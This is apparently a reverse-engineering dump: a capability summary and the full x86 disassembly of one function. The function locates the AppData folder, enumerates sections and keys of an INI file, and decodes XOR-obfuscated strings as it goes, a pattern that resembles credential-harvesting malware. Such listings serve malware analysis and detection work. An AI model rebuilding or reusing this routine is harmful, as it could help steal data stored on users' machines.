Function at 0x433ff0
Capabilities:
Authenticate hmac
Check if file exists
Contain obfuscated stackstrings
Create directory
Encode data using xor
Get common file path
Get file attributes
Get startup folder
Hash data with md5
Read .ini file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x505f12
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x1798
push ebx
call fcn.004dd450
push esi
mov esi, ecx
mov dword [ebp - 0x204], esi
push edi
mov dword [ebp - 0x18], 0
push ecx
mov dword [ebp - 4], 3
call fcn.00463420
sub esp, 0x10
mov edi, 1
mov ecx, esp
mov dword [ebp - 0x264], esp
sub esp, 8
mov dword [ebp - 0x18], edi
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004633f0
add esp, 8
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1000909
mov dword [ebp - 0x1c], 0x1001907
call fcn.00410070
push eax
mov ecx, esi
call fcn.00469670
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.00463070
push 0x104
lea eax, [ebp - 0x7a8]
push 0
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x7a8]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebx + 8]
push eax
lea edx, [ebp - 0x7a8]
lea ecx, [ebp - 0x468]
call fcn.004693c0
add esp, 4
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1d4]
mov dword [ebp - 0x1d4], 0x7151639
mov dword [ebp - 0x1d0], 0x907030f
mov dword [ebp - 0x1cc], 0x1e06401e
mov word [ebp - 0x1c8], 0x18
mov byte [ebp - 0x1c6], 1
call fcn.0040a230
push eax
lea edx, [ebp - 0x468]
lea ecx, [ebp - 0x404]
call fcn.00469300
add esp, 4
lea ecx, [ebp - 0x404]
mov byte [ebp - 4], 6
call fcn.004027a0
push eax
push 0x1000
lea eax, [ebp - 0x17a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea edx, [ebp - 0x17a8]
mov dword [ebp - 0xf8], edx
nop dword [eax]
nop word [eax + eax]
mov dword [ebp - 0x6d], 0xe081435
xor ecx, ecx
mov dword [ebp - 0x69], 0xe0600
mov byte [ebp - 0x65], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x6d], al
inc ecx
cmp ecx, 7
jb 0x434184
push 7
lea eax, [ebp - 0x6d]
mov byte [ebp - 0x65], 0
push eax
push edx
call fcn.004e9cce
add esp, 0xc
test eax, eax
jne 0x4361f6
push 0x104
push eax
lea eax, [ebp - 0x6a0]
push eax
call fcn.004de6d0
add esp, 0xc
lea ecx, [ebp - 0x404]
call fcn.004027a0
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x11c], 0x130735
mov esi, eax
mov word [ebp - 0x118], 0x100
call fcn.0040b3a0
push esi
push 0x104
lea ecx, [ebp - 0x6a0]
push ecx
push 0
push eax
push dword [ebp - 0xf8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0xc3]
mov word [ebp - 0xc3], 0x39
mov byte [ebp - 0xc1], 1
call fcn.00409f20
push eax
lea edx, [ebp - 0x468]
lea ecx, [ebp - 0x3b8]
call fcn.00469300
add esp, 4
lea ecx, [ebp - 0x6a0]
mov byte [ebp - 4], 7
push ecx
mov edx, eax
lea ecx, [ebp - 0x1fc]
call fcn.00469360
add esp, 4
lea ecx, [ebp - 0x3b8]
mov byte [ebp - 4], 9
call fcn.00402660
lea ecx, [ebp - 0x1c5]
mov dword [ebp - 0x1c5], 0xf080a39
mov dword [ebp - 0x1c1], 0x42180400
mov dword [ebp - 0x1bd], 0x1e001d07
mov word [ebp - 0x1b9], 0x100
call fcn.0040e9f0
push eax
lea edx, [ebp - 0x1fc]
lea ecx, [ebp - 0x3ec]
call fcn.00469300
add esp, 4
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xfc]
mov dword [ebp - 0xfc], 0x1000417
call fcn.00409f30
lea ecx, [ebp - 0x3ec]
mov esi, eax
call fcn.004027a0
push esi
push eax
call fcn.004e2540
add esp, 8
test eax, eax
jne 0x434910
movaps xmm0, xmmword [0x524ea0]
lea ecx, [ebp - 0x91]
movups xmmword [ebp - 0x91], xmm0
mov byte [ebp - 0x81], 1
call fcn.0040e960
push eax
lea edx, [ebp - 0x1fc]
lea ecx, [ebp - 0x3b8]
call fcn.00469300
add esp, 4
lea ecx, [ebp - 0x3b8]
mov byte [ebp - 4], 0xb
call fcn.004027a0
lea edx, [ebp - 0x260]
mov ecx, eax
call fcn.00414060
test eax, eax
jne 0x434900
movaps xmm0, xmmword [str.6__K_t]
lea ecx, [ebp - 0x450]
movups xmmword [ebp - 0x450], xmm0
mov dword [ebp - 0x410], 0xf7ddc9c8
movaps xmm0, xmmword [0x526a00]
movups xmmword [ebp - 0x440], xmm0
mov dword [ebp - 0x40c], 0xc5ccc5c5
movaps xmm0, xmmword [0x526540]
movups xmmword [ebp - 0x430], xmm0
mov dword [ebp - 0x408], 0x100ddc3
movaps xmm0, xmmword [0x525fe0]
movups xmmword [ebp - 0x420], xmm0
call fcn.00436420
mov edi, dword [ebp - 0x260]
mov edx, eax
push ecx
lea ecx, [ebp - 0x25c]
push ecx
push ecx
mov ecx, edi
call fcn.004c1f20
add esp, 0xc
test eax, eax
jne 0x4348f6
mov esi, dword [ebp - 0x25c]
mov ecx, esi
call fcn.0049e720
cmp eax, 0x64
jne 0x4348ef
lea eax, [ebp - 0x206]
mov dword [ebp - 0x388], eax
lea eax, [ebp - 0x205]
mov dword [ebp - 0x390], eax
nop dword [eax]
test esi, esi
je 0x43443f
cmp dword [esi + 0x2c], 0
je 0x43441a
xor eax, eax
cmp ax, word [esi + 0x30]
jae 0x43441a
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x434415
push eax
call dword [0x533d20]
add esp, 4
mov ecx, dword [esi + 0x2c]
jmp 0x434444
mov eax, dword [esi]
test eax, eax
je 0x43443f
mov eax, dword [eax + 0x44]
test eax, eax
je 0x434431
push eax
call dword [0x533d20]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0048d0e0
add esp, 0xc
mov ecx, 0x51e4d8
mov dl, 1
call fcn.0049b5f0
mov dword [ebp - 0x24], eax
test esi, esi
je 0x4344a8
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x434488
cmp byte [edi + 0x1e], 0
jne 0x43446b
mov eax, edi
cmp ecx, 0xc0a
jne 0x434483
push 0
push 7
push edi
call fcn.0048d0e0
mov byte [edi + 0x1e], 0
add esp, 0xc
mov eax, dword [esi]
mov ecx, 7
mov edx, dword [edi + 0x18]
jmp 0x43448f
mov edx, 0xff
mov eax, edi
and ecx, edx
mov dword [esi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4344a5
push eax
call dword [0x533d28]
add esp, 4
mov eax, dword [ebp - 0x24]
mov edx, 1
mov dword [ebp - 0x32c], eax
mov ecx, esi
call fcn.0049ef30
mov dword [ebp - 0x30], eax
test esi, esi
je 0x434512
cmp dword [esi + 0x2c], 0
je 0x4344ed
mov eax, 2
cmp ax, word [esi + 0x30]
jae 0x4344ed
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4344e5
push eax
call dword [0x533d20]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0x50
jmp 0x434517
mov eax, dword [esi]
test eax, eax
je 0x434512
mov eax, dword [eax + 0x44]
test eax, eax
je 0x434504
push eax
call dword [0x533d20]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0048d0e0
add esp, 0xc
mov ecx, 0x51e4d8
mov dl, 1
call fcn.0049b5f0
mov dword [ebp - 0x24], eax
test esi, esi
je 0x434578
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x43455b
cmp byte [edi + 0x1e], 0
jne 0x43453e
mov eax, edi
cmp ecx, 0xc0a
jne 0x434556
push 0
push 7
push edi
call fcn.0048d0e0
mov byte [edi + 0x1e], 0
add esp, 0xc
mov eax, dword [esi]
mov ecx, 7
mov edx, dword [edi + 0x18]
jmp 0x434562
mov edx, 0xff
mov eax, edi
and ecx, edx
mov dword [esi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x434578
push eax
call dword [0x533d28]
add esp, 4
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x250]
push 0
mov byte [ebp - 0x258], 0
call fcn.00466fc0
mov byte [ebp - 4], 0xd
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x338], xmm0
mov byte [ebp - 0x340], 3
call fcn.004dc470
mov edi, eax
add esp, 4
mov dword [ebp - 0x384], edi
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x6a0]
xorps xmm0, xmm0
lea edx, [ecx + 1]
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4345e0
sub ecx, edx
lea eax, [ebp - 0x6a0]
push ecx
push eax
mov ecx, edi
call fcn.00402810
mov dword [ebp - 0x384], 0
mov dword [ebp - 0x338], edi
mov byte [ebp - 4], 0xf
xor ecx, ecx
mov dword [ebp - 0x76], 0xe081415
mov dword [ebp - 0x72], 0xe0600
mov byte [ebp - 0x6e], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x76], al
inc ecx
cmp ecx, 7
jb 0x434620
lea eax, [ebp - 0x76]
mov byte [ebp - 0x6e], 0
push eax
lea ecx, [ebp - 0x258]
call fcn.00469670
mov esi, eax
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0x334]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x340], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x338], ecx
lea ecx, [ebp - 0x340]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x334], edx
call fcn.00463050
sub esp, 0x10
xorps xmm0, xmm0
mov edi, esp
mov dword [ebp - 0x14], esp
push 0x18
movq qword [edi + 8], xmm0
mov byte [edi], 3
call fcn.004dc470
mov esi, eax
add esp, 4
mov dword [ebp - 0x38c], esi
mov byte [ebp - 4], 0x10
xorps xmm0, xmm0
mov ecx, dword [ebp - 0x24]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4346c0
sub ecx, edx
push ecx
push dword [ebp - 0x24]
mov ecx, esi
call fcn.00402810
mov dword [ebp - 0x38c], 0
mov dword [edi + 8], esi
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x111]
mov dword [ebp - 0x111], 0xb1410
mov byte [ebp - 0x10d], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x258]
call fcn.00469670
mov ecx, eax
mov byte [ebp - 4], 0xd
call fcn.00463070
sub esp, 0x10
lea eax, [ebp - 0x32c]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.00469f00
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x123]
mov dword [ebp - 0x123], 0x1000909
mov word [ebp - 0x11f], 7
mov byte [ebp - 0x11d], 1
call fcn.004094f0
push eax
lea ecx, [ebp - 0x258]
call fcn.00469670
mov ecx, eax
mov byte [ebp - 4], 0xd
call fcn.00463070
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x350]
call fcn.00469f00
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x14f]
mov dword [ebp - 0x14f], 0x1b140715
mov dword [ebp - 0x14b], 0x819051e
mov word [ebp - 0x147], 0x100
call fcn.0040e990
mov cl, byte [ebp - 0x258]
mov edi, eax
test cl, cl
jne 0x4347e1
push 1
lea ecx, [ebp - 0x398]
mov byte [ebp - 0x258], 1
call fcn.00466fc0
mov esi, dword [ebp - 0x398]
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x250], esi
mov dword [ebp - 0x24c], eax
jmp 0x4347f0
cmp cl, 1
jne 0x4363ba
mov esi, dword [ebp - 0x250]
mov edx, edi
mov dword [ebp - 0x3c0], 0
xorps xmm0, xmm0
mov dword [ebp - 0x3bc], 0
movups xmmword [ebp - 0x3d0], xmm0
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x434813
sub edx, ecx
lea ecx, [ebp - 0x3d0]
push edx
push edi
call fcn.00402810
lea eax, [ebp - 0x3d0]
mov byte [ebp - 4], 0x14
push eax
mov ecx, esi
call fcn.0046c6f0
lea ecx, [ebp - 0x3d0]
mov edi, eax
call fcn.00402660
mov byte [ebp - 4], 0xd
mov dl, byte [edi]
mov cl, byte [ebp - 0x350]
mov byte [edi], cl
mov ecx, dword [ebp - 0x344]
mov eax, dword [ebp - 0x348]
mov byte [ebp - 0x350], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x350]
mov dword [edi + 8], eax
mov dword [ebp - 0x348], edx
mov dword [ebp - 0x344], esi
call fcn.00463050
lea ecx, [ebp - 0x12b]
mov dword [ebp - 0x12b], 0x1000909
mov dword [ebp - 0x127], 0x1001907
call fcn.00410070
mov ecx, dword [ebp - 0x204]
push eax
call fcn.00469670
lea ecx, [ebp - 0x258]
push ecx
mov ecx, eax
call fcn.004629d0
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 0xb
call fcn.00463050
mov esi, dword [ebp - 0x25c]
mov ecx, esi
call fcn.0049e720
cmp eax, 0x64
je 0x4343f0
mov edi, dword [ebp - 0x260]
mov ecx, esi
call fcn.0049e610
mov ecx, edi
call fcn.00414490
mov edi, dword [ebp - 0x18]
lea ecx, [ebp - 0x3b8]
call fcn.00402660
jmp 0x43615f
push eax
call fcn.004e5dc8
sub esp, 0x14
lea eax, [ebp - 0x3ec]
mov ecx, esp
push eax
call fcn.004655b0
lea ecx, [ebp - 0x3b8]
call fcn.0040b400
sub esp, 0x10
mov byte [ebp - 4], 0x17
mov eax, esp
lea edx, [ebp - 0x3b8]
lea ecx, [ebp - 0x478]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.00469a00
add esp, 0x30
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x133]
mov dword [ebp - 0x133], 0x1000909
mov dword [ebp - 0x12f], 0x1001907
call fcn.00410070
push eax
lea ecx, [ebp - 0x478]
call fcn.00469670
mov ecx, eax
lea eax, [ebp - 0x274]
push eax
call fcn.00462c30
lea eax, [ebp - 0x488]
push eax
call fcn.00462bc0
lea eax, [ebp - 0x488]
push eax
lea ecx, [ebp - 0x274]
call fcn.004621f0
test al, al
je 0x435303
lea eax, [ebp - 0x1fd]
mov dword [ebp - 0x3a0], eax
nop dword [eax]
lea ecx, [ebp - 0x274]
call fcn.00462300
push eax
lea ecx, [ebp - 0x328]
call fcn.004630b0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x240]
push 0
mov byte [ebp - 0x248], 0
call fcn.00466fc0
mov byte [ebp - 4], 0x1b
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x2e0], xmm0
mov byte [ebp - 0x2e8], 3
call fcn.004dc470
mov edi, eax
add esp, 4
mov dword [ebp - 0x39c], edi
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x6a0]
xorps xmm0, xmm0
lea edx, [ecx + 1]
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x434a48
sub ecx, edx
lea eax, [ebp - 0x6a0]
push ecx
push eax
mov ecx, edi
call fcn.00402810
mov dword [ebp - 0x39c], 0
mov dword [ebp - 0x2e0], edi
mov byte [ebp - 4], 0x1d
xor ecx, ecx
mov dword [ebp - 0x7f], 0xe081415
mov dword [ebp - 0x7b], 0xe0600
mov byte [ebp - 0x77], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x7f], al
inc ecx
cmp ecx, 7
jb 0x434a88
lea eax, [ebp - 0x7f]
mov byte [ebp - 0x77], 0
push eax
lea ecx, [ebp - 0x248]
call fcn.00469670
mov esi, eax
mov byte [ebp - 4], 0x1b
mov eax, dword [ebp - 0x2dc]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x2e8], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x2e0], ecx
lea ecx, [ebp - 0x2e8]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x2dc], edx
call fcn.00463050
mov dword [ebp - 0xf4], 0x5150903
xor ecx, ecx
mov dword [ebp - 0xf0], 0x1091f3a
mov dword [ebp - 0xec], 0x223a1a04
mov word [ebp - 0xe8], 0x3d
mov byte [ebp - 0xe6], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xf4], al
inc ecx
cmp ecx, 0xd
jb 0x434b13
lea eax, [ebp - 0xf4]
mov byte [ebp - 0xe6], 0
push eax
lea ecx, [ebp - 0x328]
call fcn.00469670
cmp byte [eax], 0
je 0x434c44
mov dword [ebp - 0xe5], 0x5150903
xor ecx, ecx
mov dword [ebp - 0xe1], 0x1091f3a
mov dword [ebp - 0xdd], 0x223a1a04
mov word [ebp - 0xd9], 0x3d
mov byte [ebp - 0xd7], 1
nop word [eax + eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xe5], al
inc ecx
cmp ecx, 0xd
jb 0x434b80
lea eax, [ebp - 0xe5]
mov byte [ebp - 0xd7], 0
push eax
lea ecx, [ebp - 0x328]
call fcn.00469670
cmp byte [eax], 3
jne 0x434c44
sub esp, 0x10
mov dword [ebp - 0x1e3], 0x5150903
lea ecx, [ebp - 0x1e3]
mov dword [ebp - 0x1df], 0x1091f3a
mov dword [ebp - 0x1db], 0x223a1a04
mov esi, esp
mov word [ebp - 0x1d7], 0x3d
mov byte [ebp - 0x1d5], 1
mov dword [ebp - 0x14], esp
call fcn.0040a230
push eax
lea ecx, [ebp - 0x328]
call fcn.00469670
push eax
mov ecx, esi
call fcn.004630b0
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x116]
mov dword [ebp - 0x116], 0xb1410
mov byte [ebp - 0x112], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x248]
call fcn.00469670
mov ecx, eax
mov byte [ebp - 4], 0x1b
call fcn.00463070
jmp 0x434df9
mov dword [ebp - 0xac], 0x1c14090d
xor ecx, ecx
mov dword [ebp - 0xa8], 0x9060b07
mov word [ebp - 0xa4], 0x100
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xac], al
inc ecx
cmp ecx, 8
jb 0x434c63
lea eax, [ebp - 0xac]
mov byte [ebp - 0xa3], 0
push eax
lea ecx, [ebp - 0x328]
call fcn.00469670
push eax
lea ecx, [ebp - 0x2f8]
call fcn.004630b0
mov byte [ebp - 4], 0x1f
xor ecx, ecx
mov dword [ebp - 0x29], 0xb1410
mov byte [ebp - 0x25], 1
nop word [eax + eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 3
jb 0x434cb0
mov al, byte [ebp - 0x248]
mov byte [ebp - 0x25], 0
test al, al
jne 0x434cfa
push 1
lea ecx, [ebp - 0x298]
mov byte [ebp - 0x248], 1
call fcn.00466fc0
mov esi, dword [ebp - 0x298]
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0x240], esi
mov dword [ebp - 0x23c], eax
jmp 0x434d08
cmp al, 1
jne 0x43635d
mov esi, dword [ebp - 0x240]
xorps xmm0, xmm0
mov dword [ebp - 0x370], 0
lea edx, [ebp - 0x29]
mov dword [ebp - 0x36c], 0
movups xmmword [ebp - 0x380], xmm0
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x434d30
sub edx, ecx
lea eax, [ebp - 0x29]
push edx
push eax
lea ecx, [ebp - 0x380]
call fcn.00402810
lea eax, [ebp - 0x380]
mov byte [ebp - 4], 0x20
push eax
mov ecx, esi
call fcn.0046c6f0
mov byte [ebp - 4], 0x1f
mov edi, eax
mov ecx, dword [ebp - 0x36c]
cmp ecx, 0x10
jb 0x434d9b
mov edx, dword [ebp - 0x380]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434d91
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 0x1b
mov al, byte [ebp - 0x2f8]
mov dword [ebp - 0x370], 0
mov dword [ebp - 0x36c], 0xf
mov byte [ebp - 0x380], 0
mov cl, byte [edi]
mov byte [edi], al
mov eax, dword [ebp - 0x2f0]
mov byte [ebp - 0x2f8], cl
mov ecx, dword [ebp - 0x2ec]
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x2f8]
mov dword [edi + 8], eax
mov dword [ebp - 0x2f0], edx
mov dword [ebp - 0x2ec], esi
call fcn.00463050
movaps xmm0, xmmword [0x525840]
xor ecx, ecx
movups xmmword [ebp - 0x93], xmm0
mov word [ebp - 0x83], 0x10
mov byte [ebp - 0x81], 1
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x93], al
inc ecx
cmp ecx, 0x11
jb 0x434e20
lea eax, [ebp - 0x93]
mov byte [ebp - 0x81], 0
push eax
lea ecx, [ebp - 0x328]
call fcn.00469670
lea ecx, [ebp - 0x220]
push ecx
mov ecx, eax
call fcn.004697b0
mov edx, eax
mov byte [ebp - 4], 0x23
xor ecx, ecx
mov dword [ebp - 0xb6], 0x5e242820
mov dword [ebp - 0xb2], 0x3341585e
mov word [ebp - 0xae], 0x100
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xb6], al
inc ecx
cmp ecx, 8
jb 0x434e80
push edx
lea edx, [ebp - 0xb6]
mov byte [ebp - 0xad], 0
lea ecx, [ebp - 0x238]
call fcn.00469420
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x24
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x300], xmm0
mov byte [ebp - 0x308], 3
call fcn.004dc470
mov edi, eax
xorps xmm0, xmm0
add esp, 4
mov dword [ebp - 0x300], edi
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
movups xmm0, xmmword [esi]
movups xmmword [edi], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [edi + 0x10], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov esi, dword [ebp - 0x294]
mov dword [ebp - 0x2fc], esi
mov byte [ebp - 4], 0x25
xor ecx, ecx
mov dword [ebp - 0x3a], 0x1000909
mov word [ebp - 0x36], 7
mov byte [ebp - 0x34], 1
nop
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x3a], al
inc ecx
cmp ecx, 5
jb 0x434f30
lea eax, [ebp - 0x3a]
mov byte [ebp - 0x34], 0
push eax
lea ecx, [ebp - 0x248]
call fcn.00469670
mov cl, byte [eax]
mov byte [eax], 3
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x308], cl
mov ecx, dword [eax + 8]
mov dword [ebp - 0x300], ecx
lea ecx, [ebp - 0x308]
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
mov dword [ebp - 0x2fc], edx
call fcn.00463050
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x224]
cmp ecx, 0x10
jb 0x434fbd
mov edx, dword [ebp - 0x238]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x434fb3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x20c]
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x224], 0xf
mov byte [ebp - 0x238], 0
cmp ecx, 0x10
jb 0x435016
mov edx, dword [ebp - 0x220]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43500c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
movaps xmm0, xmmword [0x525150]
xor ecx, ecx
movups xmmword [ebp - 0x93], xmm0
mov word [ebp - 0x83], 0x11
mov byte [ebp - 0x81], 1
nop word [eax + eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x93], al
inc ecx
cmp ecx, 0x11
jb 0x435040
lea eax, [ebp - 0x93]
mov byte [ebp - 0x81], 0
push eax
lea ecx, [ebp - 0x328]
call fcn.00469670
lea ecx, [ebp - 0x220]
push ecx
mov ecx, eax
call fcn.004697b0
mov edx, eax
mov byte [ebp - 4], 0x26
xor ecx, ecx
mov dword [ebp - 0xc0], 0x5e242820
mov dword [ebp - 0xbc], 0x3341585e
mov word [ebp - 0xb8], 0x100
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xc0], al
inc ecx
cmp ecx, 8
jb 0x4350a0
push edx
lea edx, [ebp - 0xc0]
mov byte [ebp - 0xb7], 0
lea ecx, [ebp - 0x238]
call fcn.00469420
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x27
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x310], xmm0
mov byte [ebp - 0x318], 3
call fcn.004dc470
mov edi, eax
xorps xmm0, xmm0
add esp, 4
mov dword [ebp - 0x310], edi
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
movups xmm0, xmmword [esi]
movups xmmword [edi], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [edi + 0x10], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov esi, dword [ebp - 0x294]
mov dword [ebp - 0x30c], esi
mov byte [ebp - 4], 0x28
xor ecx, ecx
mov dword [ebp - 0xa2], 0x1b140715
mov dword [ebp - 0x9e], 0x819051e
mov word [ebp - 0x9a], 0x100
nop dword [eax + eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xa2], al
inc ecx
cmp ecx, 8
jb 0x435160
lea eax, [ebp - 0xa2]
mov byte [ebp - 0x99], 0
push eax
lea ecx, [ebp - 0x248]
call fcn.00469670
mov cl, byte [eax]
mov byte [eax], 3
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x318], cl
mov ecx, dword [eax + 8]
mov dword [ebp - 0x310], ecx
lea ecx, [ebp - 0x318]
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
mov dword [ebp - 0x30c], edx
call fcn.00463050
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x224]
cmp ecx, 0x10
jb 0x4351f6
mov edx, dword [ebp - 0x238]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4351ec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x20c]
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x224], 0xf
mov byte [ebp - 0x238], 0
cmp ecx, 0x10
jb 0x43524f
mov edx, dword [ebp - 0x220]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x435245
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4363b5
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x20], 0x1000909
xor eax, eax
mov dword [ebp - 0x1c], 0x1001907
nop
lea ecx, [eax + 0x65]
xor byte [ebp + eax - 0x20], cl
inc eax
cmp eax, 6
jb 0x435260
mov ecx, dword [ebp - 0x204]
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 0x19], 0
call fcn.00469670
lea ecx, [ebp - 0x248]
push ecx
mov ecx, eax
call fcn.004629d0
lea ecx, [ebp - 0x248]
call fcn.00463050
lea ecx, [ebp - 0x328]
mov byte [ebp - 4], 0x18
call fcn.00463050
mov eax, dword [ebp - 0x274]
movzx eax, byte [eax]
sub eax, 1
je 0x4352cc
sub eax, 1
je 0x4352c3
inc dword [ebp - 0x268]
jmp 0x4352e6
add dword [ebp - 0x26c], 0x10
jmp 0x4352e6
mov eax, dword [ebp - 0x270]
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], eax
call fcn.00466a70
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x270], eax
lea eax, [ebp - 0x488]
push eax
lea ecx, [ebp - 0x274]
call fcn.004621f0
test al, al
jne 0x4349d0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0xd6], 0x9123739
xor ecx, ecx
mov dword [ebp - 0xd2], 0x11e1e07
mov dword [ebp - 0xce], 0x20a2d32
mov dword [ebp - 0xca], 0x1000105
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0xd6], al
inc ecx
cmp ecx, 0xe
jb 0x435330
lea ecx, [ebp - 0xd6]
mov byte [ebp - 0xc7], 0
